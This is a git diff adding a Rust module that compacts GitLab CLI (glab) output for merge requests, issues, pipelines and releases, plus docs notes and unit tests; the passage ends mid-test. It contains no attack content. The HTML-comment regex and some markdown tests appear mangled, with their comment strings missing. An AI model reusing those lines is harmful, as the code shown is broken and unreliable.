ANSI-stripping + GitLab section-marker filtering + runner/git/artifact boilerplate removal; kept as text-only filter, not JSON +- `release list` falls back to raw output when the glab 1.82+ format doesn't match the legacy tab-delimited parser +- Pipeline / merge-status indicators use text tags (`[ok]`, `[fail]`, `[cancel]`, `[run]`, `[pend]`, `[skip]`, `[conflict]`) to match `gh_cmd.rs` and avoid multi-byte rendering quirks ## Cross-command - `gh_cmd.rs` imports `compact_diff()` from `git.rs` for diff formatting; markdown helpers (`filter_markdown_body`, `filter_markdown_segment`) are defined in `gh_cmd.rs` itself +- `glab_cmd.rs` also uses `compact_diff()` from `git.rs` for `mr diff`; its `filter_markdown_body` is currently **duplicated** from `gh_cmd.rs` (shared-module refactor deferred) - `diff_cmd.rs` is a standalone ultra-condensed diff (separate from `git diff`) + +## glab vs gh JSON schema quick-ref + +| Aspect | gh | glab | +|--------|----|------| +| Notation | `#42` | `!42` | +| States | `OPEN`/`MERGED`/`CLOSED` | `opened`/`merged`/`closed` | +| Author | `author.login` | `author.username` | +| URL field | `url` | `web_url` | +| Body field | `body` | `description` | +| Merge check | `mergeable` | `merge_status` (`can_be_merged` / `cannot_be_merged`) | +| CI status | `statusCheckRollup` | `head_pipeline.status` | +| Labels | `labels` (array of objects) | `labels` (array of strings) | +| Reviewers | `reviewRequests`/`reviews` | `reviewers` (array of objects with `username`) | diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs new file mode 100644 index 0000000000..139ed58987 --- /dev/null +++ b/src/cmds/git/glab_cmd.rs @@ -0,0 +1,1535 @@ +//! GitLab CLI (glab) command output compression. +//! +//! Provides token-optimized alternatives to verbose `glab` commands. +//! Mirrors gh_cmd.rs patterns, adapted for glab-specific differences: +//! - MR notation: `!42` (not `#42`) +//! - States: `opened`/`merged`/`closed` (lowercase, not UPPER) +//! - Author: `author.username` (not `author.login`) +//! - URL: `web_url` (not `url`) +//! - Description: `description` (not `body`) +//! - Merge status: `merge_status` ("can_be_merged") (not `mergeable`) +//! - Pipeline: `head_pipeline.status` (not `statusCheckRollup`) + +use super::git; +use crate::core::runner::{self, RunOptions}; +use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; +use anyhow::Result; +use lazy_static::lazy_static; +use regex::Regex; +use serde_json::Value; +use std::process::Command; + +lazy_static! { + static ref HTML_COMMENT_RE: Regex = Regex::new(r"(?s)").unwrap(); + static ref BADGE_LINE_RE: Regex = + Regex::new(r"(?m)^\s*\[!\[[^\]]*\]\([^)]*\)\]\([^)]*\)\s*$").unwrap(); + static ref IMAGE_ONLY_LINE_RE: Regex = Regex::new(r"(?m)^\s*!\[[^\]]*\]\([^)]*\)\s*$").unwrap(); + static ref HORIZONTAL_RULE_RE: Regex = + Regex::new(r"(?m)^\s*(?:---+|\*\*\*+|___+)\s*$").unwrap(); + static ref MULTI_BLANK_RE: Regex = Regex::new(r"\n{3,}").unwrap(); + static ref MR_URL_RE: Regex = Regex::new(r"/-/merge_requests/(\d+)").unwrap(); + /// Match GitLab CI section markers: section_start/end:timestamp:name[0K + static ref SECTION_MARKER_RE: Regex = + Regex::new(r"section_(?:start|end):\d+:[a-z0-9_]+(?:\x1b\[0K|\[0K)*").unwrap(); + /// Match bare bracket ANSI-like codes without ESC prefix: [0K, [0;m, [36;1m, etc. + static ref BARE_ANSI_RE: Regex = Regex::new(r"\[[\d;]+[A-Za-z]").unwrap(); +} + +/// Filter markdown body to remove noise while preserving meaningful content. +/// Removes HTML comments, badge lines, image-only lines, horizontal rules, +/// and collapses excessive blank lines. Preserves code blocks untouched. +fn filter_markdown_body(body: &str) -> String { + if body.is_empty() { + return String::new(); + } + + let mut result = String::new(); + let mut remaining = body; + + loop { + let fence_pos = remaining + .find("```") + .or_else(|| remaining.find("~~~")) + .map(|pos| { + let fence = if remaining[pos..].starts_with("```") { + "```" + } else { + "~~~" + }; + (pos, fence) + }); + + match fence_pos { + Some((start, fence)) => { + let before = &remaining[..start]; + result.push_str(&filter_markdown_segment(before)); + + let after_open = start + fence.len(); + let code_start = remaining[after_open..] + .find('\n') + .map(|p| after_open + p + 1) + .unwrap_or(remaining.len()); + + let close_pos = remaining[code_start..] + .find(fence) + .map(|p| code_start + p + fence.len()); + + match close_pos { + Some(end) => { + result.push_str(&remaining[start..end]); + let after_close = remaining[end..] + .find('\n') + .map(|p| end + p + 1) + .unwrap_or(remaining.len()); + result.push_str(&remaining[end..after_close]); + remaining = &remaining[after_close..]; + } + None => { + result.push_str(&remaining[start..]); + remaining = ""; + } + } + } + None => { + result.push_str(&filter_markdown_segment(remaining)); + break; + } + } + } + + result.trim().to_string() +} + +/// Filter a markdown segment that is NOT inside a code block. +fn filter_markdown_segment(text: &str) -> String { + let mut s = HTML_COMMENT_RE.replace_all(text, "").to_string(); + s = BADGE_LINE_RE.replace_all(&s, "").to_string(); + s = IMAGE_ONLY_LINE_RE.replace_all(&s, "").to_string(); + s = HORIZONTAL_RULE_RE.replace_all(&s, "").to_string(); + s = MULTI_BLANK_RE.replace_all(&s, "\n\n").to_string(); + s +} + +/// State icon for MR/issue states (glab uses lowercase). +fn state_icon(state: &str, ultra_compact: bool) -> &'static str { + if ultra_compact { + match state { + "opened" => "O", + "merged" => "M", + "closed" => "C", + _ => "?", + } + } else { + match state { + "opened" => "[open]", + "merged" => "[merged]", + "closed" => "[closed]", + _ => "?", + } + } +} + +/// Pipeline status icon. Non-compact mode uses text tags for parity with +/// `gh_cmd.rs` (avoids multi-byte terminal rendering quirks; aligns with the +/// rest of the codebase). Ultra-compact keeps single-char density. +fn pipeline_icon(status: &str, ultra_compact: bool) -> &'static str { + if ultra_compact { + match status { + "success" => "+", + "failed" => "x", + "canceled" | "cancelled" => "X", + "running" | "pending" => "~", + "skipped" => "-", + _ => "?", + } + } else { + match status { + "success" => "[ok]", + "failed" => "[fail]", + "canceled" | "cancelled" => "[cancel]", + "running" => "[run]", + "pending" => "[pend]", + "skipped" => "[skip]", + _ => "?", + } + } +} + +/// Extract MR number from glab output URL or text. +fn extract_mr_number(text: &str) -> Option { + MR_URL_RE + .captures(text) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().to_string()) +} + +/// Extract the first positional identifier (MR/issue number or URL) from args, +/// skipping glab flags that take a value. Returns the identifier and remaining args. +fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec)> { + if args.is_empty() { + return None; + } + + // Known glab flags that take a value — skip these and their values + let flags_with_value = [ + "-R", + "--repo", + "-g", + "--group", + "-F", + "--output", + "-m", + "--message", + ]; + let mut identifier = None; + let mut extra = Vec::new(); + let mut skip_next = false; + + for arg in args { + if skip_next { + extra.push(arg.clone()); + skip_next = false; + continue; + } + if flags_with_value.contains(&arg.as_str()) { + extra.push(arg.clone()); + skip_next = true; + continue; + } + if arg.starts_with('-') { + extra.push(arg.clone()); + continue; + } + // First non-flag arg is the identifier (number/URL) + if identifier.is_none() { + identifier = Some(arg.clone()); + } else { + extra.push(arg.clone()); + } + } + + identifier.map(|id| (id, extra)) +} + +/// Check if user explicitly requested JSON/custom output format. +/// When present, passthrough to avoid double JSON injection. +fn has_output_flag(args: &[String]) -> bool { + args.iter() + .any(|a| a == "--output" || a == "-F" || a == "--json") +} + +/// Check if view subcommand should passthrough (--web, --comments, etc.). +fn should_passthrough_view(extra_args: &[String]) -> bool { + extra_args + .iter() + .any(|a| a == "--web" || a == "--comments" || a == "--output" || a == "-F") +} + +/// Run a glab command that emits JSON and filter through `filter_fn`. +/// On JSON parse failure (glab returns plain text for empty results), +/// fall back to the raw stdout. +fn run_glab_json(cmd: Command, label: &str, filter_fn: F) -> Result +where + F: Fn(&Value) -> String, +{ + runner::run_filtered( + cmd, + "glab", + label, + |stdout| match serde_json::from_str::(stdout) { + Ok(json) => filter_fn(&json), + Err(_) => stdout.to_string(), + }, + RunOptions::stdout_only() + .early_exit_on_failure() + .no_trailing_newline(), + ) +} + +/// Run a glab command with token-optimized output. +pub fn run(subcommand: &str, args: &[String], verbose: u8, ultra_compact: bool) -> Result { + // If the user explicitly requests a specific output format, passthrough unchanged. + if has_output_flag(args) { + return run_passthrough("glab", subcommand, args); + } + + match subcommand { + "mr" => run_mr(args, verbose, ultra_compact), + "issue" => run_issue(args, verbose, ultra_compact), + "ci" | "pipeline" => run_ci(args, verbose, ultra_compact), + "release" => run_release(args, verbose, ultra_compact), + "api" => run_api(args, verbose), + _ => run_passthrough("glab", subcommand, args), + } +} + +// ── MR subcommands ────────────────────────────────────────────────────── + +fn run_mr(args: &[String], verbose: u8, ultra_compact: bool) -> Result { + if args.is_empty() { + return run_passthrough("glab", "mr", args); + } + + match args[0].as_str() { + "list" => mr_list(&args[1..], verbose, ultra_compact), + "view" => mr_view(&args[1..], verbose, ultra_compact), + "create" => mr_create(&args[1..], verbose), + "merge" => mr_action("merge", "merged", &args[1..], verbose), + "approve" => mr_action("approve", "approved", &args[1..], verbose), + "diff" => mr_diff(&args[1..], verbose), + "note" => mr_action("note", "noted", &args[1..], verbose), + "update" => mr_action("update", "updated", &args[1..], verbose), + _ => run_passthrough("glab", "mr", args), + } +} + +/// Format MR list JSON into compact output (pure function, testable). +fn format_mr_list(json: &Value, ultra_compact: bool) -> String { + let mrs = match json.as_array() { + Some(arr) => arr, + None => return String::new(), + }; + if mrs.is_empty() { + return if ultra_compact { + "No MRs\n".to_string() + } else { + "No Merge Requests\n".to_string() + }; + } + + let mut filtered = String::new(); + filtered.push_str(if ultra_compact { + "MRs\n" + } else { + "Merge Requests\n" + }); + + for mr in mrs.iter().take(20) { + let iid = mr["iid"].as_i64().unwrap_or(0); + let title = mr["title"].as_str().unwrap_or("???"); + let state = mr["state"].as_str().unwrap_or("???"); + let author = mr["author"]["username"].as_str().unwrap_or("???"); + + let icon = state_icon(state, ultra_compact); + filtered.push_str(&format!( + " {} !{} {} ({})\n", + icon, + iid, + truncate(title, 60), + author + )); + } + + if mrs.len() > 20 { + filtered.push_str(&format!( + " ... {} more (use glab mr list for all)\n", + mrs.len() - 20 + )); + } + + filtered +} + +fn mr_list(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["mr", "list", "-F", "json"]); + for arg in args { + cmd.arg(arg); + } + run_glab_json(cmd, "mr list", |json| format_mr_list(json, ultra_compact)) +} + +/// Format MR view JSON into compact output (pure function, testable). +fn format_mr_view(json: &Value, ultra_compact: bool) -> String { + let iid = json["iid"].as_i64().unwrap_or(0); + let title = json["title"].as_str().unwrap_or("???"); + let state = json["state"].as_str().unwrap_or("???"); + let author = json["author"]["username"].as_str().unwrap_or("???"); + let web_url = json["web_url"].as_str().unwrap_or(""); + let merge_status = json["merge_status"].as_str().unwrap_or("unknown"); + let source_branch = json["source_branch"].as_str().unwrap_or("???"); + let target_branch = json["target_branch"].as_str().unwrap_or("???"); + + let icon = state_icon(state, ultra_compact); + + let mut filtered = String::new(); + filtered.push_str(&format!("{} MR !{}: {}\n", icon, iid, title)); + filtered.push_str(&format!(" {}\n", author)); + + let mergeable_str = match merge_status { + "can_be_merged" => "[ok]", + "cannot_be_merged" => "[conflict]", + _ => "[?]", + }; + filtered.push_str(&format!(" {} | {}\n", state, mergeable_str)); + filtered.push_str(&format!(" {} -> {}\n", source_branch, target_branch)); + + if let Some(labels) = json["labels"].as_array() { + let joined: Vec<&str> = labels.iter().filter_map(|v| v.as_str()).collect(); + if !joined.is_empty() { + filtered.push_str(&format!(" Labels: {}\n", joined.join(", "))); + } + } + + if let Some(reviewers) = json["reviewers"].as_array() { + let names: Vec = reviewers + .iter() + .filter_map(|r| r["username"].as_str()) + .map(|u| format!("@{}", u)) + .collect(); + if !names.is_empty() { + filtered.push_str(&format!(" Reviewers: {}\n", names.join(", "))); + } + } + + if let Some(pipeline) = json.get("head_pipeline") { + if !pipeline.is_null() { + let pipeline_status = pipeline["status"].as_str().unwrap_or("unknown"); + let p_icon = pipeline_icon(pipeline_status, ultra_compact); + filtered.push_str(&format!(" Pipeline: {} {}\n", p_icon, pipeline_status)); + } + } + + filtered.push_str(&format!(" {}\n", web_url)); + + if let Some(desc) = json["description"].as_str() { + if !desc.is_empty() { + let desc_filtered = filter_markdown_body(desc); + if !desc_filtered.is_empty() { + filtered.push('\n'); + for line in desc_filtered.lines() { + filtered.push_str(&format!(" {}\n", line)); + } + } + } + } + + filtered +} + +fn mr_view(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { + let (mr_number, extra_args) = match extract_identifier_and_extra_args(args) { + Some(pair) => pair, + None => return Err(anyhow::anyhow!("MR number required")), + }; + + // Passthrough for --web, --comments, or explicit output format + if should_passthrough_view(&extra_args) { + return run_passthrough_with_extra("glab", &["mr", "view", &mr_number], &extra_args); + } + + let mut cmd = resolved_command("glab"); + cmd.args(["mr", "view", &mr_number, "-F", "json"]); + for arg in &extra_args { + cmd.arg(arg); + } + run_glab_json(cmd, &format!("mr view {}", mr_number), |json| { + format_mr_view(json, ultra_compact) + }) +} + +fn mr_create(args: &[String], _verbose: u8) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["mr", "create"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "mr create", + |stdout| { + // glab mr create outputs the URL on success + let url = stdout.trim(); + let mr_num = extract_mr_number(url).unwrap_or_default(); + let detail = if !mr_num.is_empty() { + format!("!{} {}", mr_num, url) + } else { + url.to_string() + }; + ok_confirmation("created", &detail) + }, + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +fn mr_diff(args: &[String], _verbose: u8) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["mr", "diff"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "mr diff", + |stdout| { + if stdout.trim().is_empty() { + "No diff\n".to_string() + } else { + git::compact_diff(stdout, 500) + } + }, + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +/// Generic MR action handler for merge/approve/note/update. +/// Uses extract_identifier_and_extra_args to correctly find the MR number +/// even when it appears after flags (e.g. `glab mr note -m "msg" 42`). +fn mr_action(subcmd: &str, label: &str, args: &[String], _verbose: u8) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["mr", subcmd]); + for arg in args { + cmd.arg(arg); + } + + let mr_num = extract_identifier_and_extra_args(args) + .map(|(id, _)| format!("!{}", id)) + .unwrap_or_default(); + let label = label.to_string(); + runner::run_filtered( + cmd, + "glab", + &format!("mr {}", subcmd), + move |_stdout| ok_confirmation(&label, &mr_num), + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +// ── Issue subcommands ─────────────────────────────────────────────────── + +fn run_issue(args: &[String], verbose: u8, ultra_compact: bool) -> Result { + if args.is_empty() { + return run_passthrough("glab", "issue", args); + } + + match args[0].as_str() { + "list" => issue_list(&args[1..], verbose, ultra_compact), + "view" => issue_view(&args[1..], verbose), + _ => run_passthrough("glab", "issue", args), + } +} + +/// Format issue list JSON into compact output (pure function, testable). +fn format_issue_list(json: &Value, ultra_compact: bool) -> String { + let issues = match json.as_array() { + Some(arr) => arr, + None => return String::new(), + }; + if issues.is_empty() { + return "No Issues\n".to_string(); + } + + let mut filtered = String::new(); + filtered.push_str("Issues\n"); + + for issue in issues.iter().take(20) { + let iid = issue["iid"].as_i64().unwrap_or(0); + let title = issue["title"].as_str().unwrap_or("???"); + let state = issue["state"].as_str().unwrap_or("???"); + + let icon = if ultra_compact { + if state == "opened" { + "O" + } else { + "C" + } + } else if state == "opened" { + "[open]" + } else { + "[closed]" + }; + filtered.push_str(&format!(" {} #{} {}\n", icon, iid, truncate(title, 60))); + } + + if issues.len() > 20 { + filtered.push_str(&format!(" ... {} more\n", issues.len() - 20)); + } + + filtered +} + +fn issue_list(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["issue", "list", "-F", "json"]); + for arg in args { + cmd.arg(arg); + } + run_glab_json(cmd, "issue list", |json| { + format_issue_list(json, ultra_compact) + }) +} + +/// Format issue view JSON into compact output (pure function, testable). +fn format_issue_view(json: &Value) -> String { + let iid = json["iid"].as_i64().unwrap_or(0); + let title = json["title"].as_str().unwrap_or("???"); + let state = json["state"].as_str().unwrap_or("???"); + let author = json["author"]["username"].as_str().unwrap_or("???"); + let web_url = json["web_url"].as_str().unwrap_or(""); + + let icon = if state == "opened" { + "[open]" + } else { + "[closed]" + }; + + let mut filtered = String::new(); + filtered.push_str(&format!("{} Issue #{}: {}\n", icon, iid, title)); + filtered.push_str(&format!(" Author: @{}\n", author)); + filtered.push_str(&format!(" Status: {}\n", state)); + filtered.push_str(&format!(" URL: {}\n", web_url)); + + if let Some(desc) = json["description"].as_str() { + if !desc.is_empty() { + let desc_filtered = filter_markdown_body(desc); + if !desc_filtered.is_empty() { + filtered.push_str("\n Description:\n"); + for line in desc_filtered.lines() { + filtered.push_str(&format!(" {}\n", line)); + } + } + } + } + + filtered +} + +fn issue_view(args: &[String], _verbose: u8) -> Result { + let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { + Some(pair) => pair, + None => return Err(anyhow::anyhow!("Issue number required")), + }; + + if should_passthrough_view(&extra_args) { + return run_passthrough_with_extra("glab", &["issue", "view", &issue_number], &extra_args); + } + + let mut cmd = resolved_command("glab"); + cmd.args(["issue", "view", &issue_number, "-F", "json"]); + for arg in &extra_args { + cmd.arg(arg); + } + run_glab_json( + cmd, + &format!("issue view {}", issue_number), + format_issue_view, + ) +} + +// ── CI/Pipeline subcommands ───────────────────────────────────────────── + +fn run_ci(args: &[String], verbose: u8, ultra_compact: bool) -> Result { + if args.is_empty() { + return run_passthrough("glab", "ci", args); + } + + match args[0].as_str() { + "list" => ci_list(&args[1..], verbose, ultra_compact), + "status" => ci_status(&args[1..], verbose, ultra_compact), + "trace" => ci_trace(&args[1..]), + // "ci view" is an interactive TUI (tcell) — must run with inherited stdio + _ => run_passthrough("glab", "ci", args), + } +} + +/// Format CI list JSON into compact output (pure function, testable). +fn format_ci_list(json: &Value, ultra_compact: bool) -> String { + let pipelines = match json.as_array() { + Some(arr) => arr, + None => return String::new(), + }; + if pipelines.is_empty() { + return "No Pipelines\n".to_string(); + } + + let mut filtered = String::new(); + filtered.push_str("Pipelines\n"); + for pipeline in pipelines.iter().take(10) { + let id = pipeline["id"].as_i64().unwrap_or(0); + let status = pipeline["status"].as_str().unwrap_or("???"); + let ref_name = pipeline["ref"].as_str().unwrap_or("???"); + + let icon = pipeline_icon(status, ultra_compact); + filtered.push_str(&format!(" {} #{} {} ({})\n", icon, id, status, ref_name)); + } + filtered +} + +fn ci_list(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["ci", "list", "-F", "json"]); + for arg in args { + cmd.arg(arg); + } + run_glab_json(cmd, "ci list", |json| format_ci_list(json, ultra_compact)) +} + +/// Format `glab ci status` text output (English keyword parsing, raw fallback). +/// Returns the raw input when no status keyword is recognized on any line +/// (e.g. non-English locale). +fn format_ci_status(raw: &str, ultra_compact: bool) -> String { + let mut filtered = String::new(); + let mut any_keyword_matched = false; + for line in raw.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + let icon = if trimmed.contains("passed") || trimmed.contains("success") { + pipeline_icon("success", ultra_compact) + } else if trimmed.contains("failed") { + pipeline_icon("failed", ultra_compact) + } else if trimmed.contains("running") { + pipeline_icon("running", ultra_compact) + } else if trimmed.contains("pending") { + pipeline_icon("pending", ultra_compact) + } else if trimmed.contains("canceled") || trimmed.contains("cancelled") { + pipeline_icon("canceled", ultra_compact) + } else { + "" + }; + + if !icon.is_empty() { + any_keyword_matched = true; + filtered.push_str(&format!("{} {}\n", icon, trimmed)); + } else { + filtered.push_str(&format!(" {}\n", trimmed)); + } + } + + if !any_keyword_matched { + // Non-English locale or unrecognized format — preserve raw output verbatim. + raw.to_string() + } else { + filtered + } +} + +fn ci_status(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { + // glab ci status does not support -F json — text parsing with raw fallback + let mut cmd = resolved_command("glab"); + cmd.args(["ci", "status"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "ci status", + |stdout| format_ci_status(stdout, ultra_compact), + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +fn ci_trace(args: &[String]) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["ci", "trace"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "ci trace", + filter_ci_trace, + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +/// Filter CI job trace output: strip ANSI codes, section markers, and runner +/// boilerplate. Keep warnings, errors, and build output. +fn filter_ci_trace(raw: &str) -> String { + let cleaned = strip_ansi(raw); + let cleaned = BARE_ANSI_RE.replace_all(&cleaned, ""); + let cleaned = SECTION_MARKER_RE.replace_all(&cleaned, ""); + + let mut filtered = String::new(); + + for line in cleaned.lines() { + let trimmed = line.trim(); + + if trimmed.is_empty() { + continue; + } + + // Skip runner boilerplate + if trimmed.starts_with("Running with gitlab-runner") + || (trimmed.starts_with("on ") && trimmed.contains("system ID:")) + || trimmed.starts_with("Using Docker executor") + || trimmed.starts_with("Using Shell") + || trimmed.starts_with("Running on runner-") + || trimmed.starts_with("Running on ") + || trimmed.starts_with("Preparing the") + || trimmed.starts_with("Preparing environment") + || trimmed.starts_with("Getting source from") + || trimmed.starts_with("Resolving secrets") + || trimmed.starts_with("Cleaning up") + || trimmed.starts_with("Uploading artifacts") + || trimmed.starts_with("Downloading artifacts") + || trimmed.starts_with("Runtime platform") + { + continue; + } + + // Skip git fetch / checkout boilerplate + if trimmed.starts_with("Fetching changes with git") + || trimmed.starts_with("Initialized empty Git") + || trimmed.starts_with("Created fresh repository") + || trimmed.starts_with("Checking out ") + || trimmed.starts_with("Skipping Git submodules") + { + continue; + } + + filtered.push_str(trimmed); + filtered.push('\n'); + } + + filtered +} + +// ── Release subcommands ────────────────────────────────────────────────── + +fn run_release(args: &[String], _verbose: u8, _ultra_compact: bool) -> Result { + if args.is_empty() { + return run_passthrough("glab", "release", args); + } + + match args[0].as_str() { + "list" => release_list(&args[1..]), + "view" => release_view(&args[1..]), + _ => run_passthrough("glab", "release", args), + } +} + +/// Format `glab release list` tab-separated output into compact form. +/// Input format: "Name\tTag\tCreated\n" header + data rows. +fn format_release_list(raw: &str) -> Option { + let mut lines = raw.lines().peekable(); + let mut filtered = String::new(); + + // Skip "Showing N releases..." preamble and blank lines + while let Some(line) = lines.peek() { + let trimmed = line.trim(); + if trimmed.starts_with("Name\t") || trimmed.starts_with("NAME\t") { + lines.next(); // consume header + break; + } + lines.next(); + } + + filtered.push_str("Releases\n"); + + let mut count = 0; + for line in lines { + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + + let parts: Vec<&str> = trimmed.split('\t').collect(); + if parts.len() < 3 { + continue; + } + + let name = parts[0].trim(); + let tag = parts[1].trim(); + let created = parts[2].trim(); + + if name == tag { + filtered.push_str(&format!(" {} ({})\n", name, created)); + } else { + filtered.push_str(&format!(" {} [{}] ({})\n", name, tag, created)); + } + + count += 1; + if count >= 20 { + break; + } + } + + if count == 0 { + return None; + } + + Some(filtered) +} + +fn release_list(args: &[String]) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["release", "list"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "release list", + |stdout| format_release_list(stdout).unwrap_or_else(|| stdout.to_string()), + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +fn release_view(args: &[String]) -> Result { + let mut cmd = resolved_command("glab"); + cmd.args(["release", "view"]); + for arg in args { + cmd.arg(arg); + } + runner::run_filtered( + cmd, + "glab", + "release view", + filter_release_view, + RunOptions::stdout_only().early_exit_on_failure(), + ) +} + +/// Filter release view output: strip SOURCES block, image lines, HTML comments, +/// horizontal rules, and collapse blank lines. +fn filter_release_view(raw: &str) -> String { + let mut filtered = String::new(); + let mut in_sources = false; + + for line in raw.lines() { + let trimmed = line.trim(); + + // Skip SOURCES section (archive download URLs) + if trimmed == "SOURCES" { + in_sources = true; + continue; + } + if in_sources { + if trimmed.starts_with("http://") || trimmed.starts_with("https://") { + continue; + } + in_sources = false; + } + + // Strip image-only lines + if trimmed.starts_with("![") && trimmed.ends_with(')') && trimmed.contains("](") { + continue; + } + // Strip glab's "Image: name → url" rendering + if trimmed.starts_with("Image:") && trimmed.contains('→') { + continue; + } + + // Strip HTML comments + if trimmed.starts_with("") { + continue; + } + + // Strip horizontal rules (--- rendered as --------) + if trimmed.chars().all(|c| c == '-') && trimmed.len() >= 3 { + continue; + } + + filtered.push_str(line); + filtered.push('\n'); + } + + // Collapse multiple blank lines + MULTI_BLANK_RE.replace_all(&filtered, "\n\n").to_string() +} + +// ── API subcommand ────────────────────────────────────────────────────── + +fn run_api(args: &[String], _verbose: u8) -> Result { + // glab api is an explicit/advanced command — the user knows what they asked for. + // Converting JSON to a schema destroys all values and forces Claude to re-fetch. + // Passthrough preserves the full response and tracks metrics at 0% savings. + run_passthrough("glab", "api", args) +} + +// ── Passthrough ───────────────────────────────────────────────────────── + +fn run_passthrough(cmd: &str, subcommand: &str, args: &[String]) -> Result { + let mut os_args: Vec = vec![std::ffi::OsString::from(subcommand)]; + os_args.extend(args.iter().map(std::ffi::OsString::from)); + runner::run_passthrough(cmd, &os_args, 0) +} + +fn run_passthrough_with_extra(cmd: &str, base_args: &[&str], extra_args: &[String]) -> Result { + let mut os_args: Vec = + base_args.iter().map(std::ffi::OsString::from).collect(); + os_args.extend(extra_args.iter().map(std::ffi::OsString::from)); + runner::run_passthrough(cmd, &os_args, 0) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_state_icon_opened() { + assert_eq!(state_icon("opened", false), "[open]"); + assert_eq!(state_icon("opened", true), "O"); + } + + #[test] + fn test_state_icon_merged() { + assert_eq!(state_icon("merged", false), "[merged]"); + assert_eq!(state_icon("merged", true), "M"); + } + + #[test] + fn test_state_icon_closed() { + assert_eq!(state_icon("closed", false), "[closed]"); + assert_eq!(state_icon("closed", true), "C"); + } + + #[test] + fn test_pipeline_icon_success() { + assert_eq!(pipeline_icon("success", false), "[ok]"); + assert_eq!(pipeline_icon("success", true), "+"); + } + + #[test] + fn test_pipeline_icon_failed() { + assert_eq!(pipeline_icon("failed", false), "[fail]"); + assert_eq!(pipeline_icon("failed", true), "x"); + } + + #[test] + fn test_pipeline_icon_running() { + assert_eq!(pipeline_icon("running", false), "[run]"); + assert_eq!(pipeline_icon("running", true), "~"); + } + + #[test] + fn test_extract_mr_number_from_url() { + let url = "https://gitlab.example.com/group/project/-/merge_requests/42"; + assert_eq!(extract_mr_number(url), Some("42".to_string())); + } + + #[test] + fn test_extract_mr_number_no_match() { + assert_eq!(extract_mr_number("not a url"), None); + } + + #[test] + fn test_filter_markdown_body_empty() { + assert_eq!(filter_markdown_body(""), ""); + } + + #[test] + fn test_filter_markdown_body_html_comments() { + let input = "Hello\n\nWorld"; + let result = filter_markdown_body(input); + assert!(!result.contains("\n```\nAfter"; + let result = filter_markdown_body(input); + assert!(result.contains("")); + assert!(result.contains("Text")); + assert!(result.contains("After")); + } + + #[test] + fn test_filter_markdown_body_blank_lines_collapse() { + let input = "Line 1\n\n\n\n\nLine 2"; + let result = filter_markdown_body(input); + assert!(!result.contains("\n\n\n")); + assert!(result.contains("Line 1")); + assert!(result.contains("Line 2")); + } + + #[test] + fn test_filter_markdown_body_badges_removed() { + let input = + "# Title\n[![CI](https://img.shields.io/badge.svg)](https://github.com/actions)\nText"; + let result = filter_markdown_body(input); + assert!(!result.contains("shields.io")); + assert!(result.contains("# Title")); + assert!(result.contains("Text")); + } + + #[test] + fn test_filter_markdown_body_meaningful_content_preserved() { + let input = "## Summary\n- Item 1\n- Item 2\n\n[Link](https://example.com)"; + let result = filter_markdown_body(input); + assert!(result.contains("## Summary")); + assert!(result.contains("- Item 1")); + assert!(result.contains("[Link](https://example.com)")); + } + + #[test] + fn test_ok_confirmation_mr_create() { + let result = ok_confirmation( + "created", + "!42 https://gitlab.example.com/-/merge_requests/42", + ); + assert!(result.contains("ok created")); + assert!(result.contains("!42")); + } + + #[test] + fn test_ok_confirmation_mr_merge() { + let result = ok_confirmation("merged", "!42"); + assert_eq!(result, "ok merged !42"); + } + + #[test] + fn test_ok_confirmation_mr_approve() { + let result = ok_confirmation("approved", "!42"); + assert_eq!(result, "ok approved !42"); + } + + fn count_tokens(text: &str) -> usize { + text.split_whitespace().count() + } + + fn parse_fixture(raw: &str) -> Value { + serde_json::from_str(raw).expect("valid JSON fixture") + } + + #[test] + fn test_mr_list_token_savings() { + let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json"); + let output = format_mr_list(&parse_fixture(input), false); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&output); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + assert!( + savings >= 60.0, + "MR list: expected >=60% savings, got {:.1}% ({} -> {} tokens)", + savings, + input_tokens, + output_tokens + ); + } + + #[test] + fn test_mr_list_format() { + let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json"); + let output = format_mr_list(&parse_fixture(input), false); + assert!(output.contains("Merge Requests")); + assert!(output.contains("!314")); + assert!(output.contains("[open]")); // opened + assert!(output.contains("[merged]")); // merged + assert!(output.contains("[closed]")); // closed + } + + #[test] + fn test_mr_list_ultra_compact() { + let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json"); + let output = format_mr_list(&parse_fixture(input), true); + assert!(output.starts_with("MRs\n")); + assert!(output.contains("O ")); // opened + assert!(output.contains("M ")); // merged + assert!(output.contains("C ")); // closed + } + + #[test] + fn 